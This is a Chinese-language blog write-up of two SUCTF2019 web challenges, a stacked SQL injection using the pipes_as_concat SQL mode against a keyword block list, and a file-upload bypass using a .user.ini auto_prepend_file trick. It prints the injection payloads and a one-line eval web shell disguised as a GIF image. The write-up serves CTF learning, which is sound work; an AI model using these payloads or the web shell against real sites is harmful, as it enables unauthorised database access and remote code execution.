[SUCTF2019]WEB(sql) WP

EasySQL

据说这道题做的时候由于运维的原因能扫到源码

但看出题者所说的应该是让大家🔥猜出查询的那句sql语句,但是我觉得我猜不出来。

谁能猜出来它是||flag from Flag呢??我觉得我不彳亍。但可能是做题少的原因8,用burp跑了一下发现过滤了flag、union、and、or、extractvalue、if、sleep、updatexml等,所以可能根据这个就能猜测查询语句中本来就存在flag吧??

源代码中核心部分如下:

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}
?>

看到查询语句为

$sql = "select ".$post['query']."||flag from Flag";

解法一

由于此题没有过滤*,因此可以直接输入*,1

此时查询语句为

select *,1||flag from Flag;

||作为逻辑或运算符,也就成了

select *,1 from Flag;

查询出flag

解法二

在oracle中,可以使用||作为拼接符,和concat的功能一样。

如果能让这里的||也变成拼接符号,那就可以把flag查询出来了。

原理

系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则

select @@global.sql_mode; 查询全局的sql_mode

select @@session.sql_mode; 查询当前的sql_mode

我们来查查

PIPES_AS_CONCAT:将mysql中的sql_mode设置成PIPES_AS_CONCAT,就可以使mysql实现oracle的一些功能

因此我们使用set sql_mode=pipes_as_concat;,成功后查询当前的sql_mode

在更改之前:

这时||的作用是逻辑或。

当我们set sql_mode=pipes_as_concat;

这时||的作用变成了拼接符,将查询后的结果拼接在一起了。

并且用mysqli_multi_query()处理,可以尝试堆叠注入。

解题

因此有了以上的知识,就可以构造这样的payload:

1;set sql_mode=pipes_as_concat;select 1

结果将select 1 from Flagselect flag from Flag的结果拼接在一起了。

CheckIn

今天做了dasctf的checkin,给👴做自闭了。

这道做起来就开心多了!

首先打开题目,就是一道货真价实的上传题了。

就不讲具体的做题过程了,讲讲这题的考点知识吧。

这道题过滤了.php,于是想着上传.htaccess

看了源码好像出题人打算禁htaccess?但是打成了htacess,不过我觉得可能是故意的。

因为就算是上传成功了也没什么用。.htaccess里存放的是apache的配置相关指令,本题用的是Nginx。

所以就要用到本题的考点:.user.ini文件

.user.ini

先来看看官方说明:

官方文档

关于PHP_INI_*有四种

模式 含义
PHP_INI_USER 可在用户脚本以及.user.ini中设定
PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中设定
PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定
PHP_INI_ALL 可在任何地方设定

在php.ini核心配置选项

从解释中看出,通过这个配置项可以让php文件在运行前先包含一个指定的文件。本题的主要考点就在这里。

解题

试着上传一个图片马

这里过滤了<?,可以用以下绕过

<script language="php">@eval($_REQUEST['hello']);</script>

看到在同路径下刚好有index.php,接下来就可以用到.user.ini文件了

内容:

GIF89a
auto_prepend_file=2.jpg

上传成功后再传入图片马就可以惹

用蚁剑连接就可以了。

Author: Neorah
Link: https://neorah.me/ctf/SUCTF2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.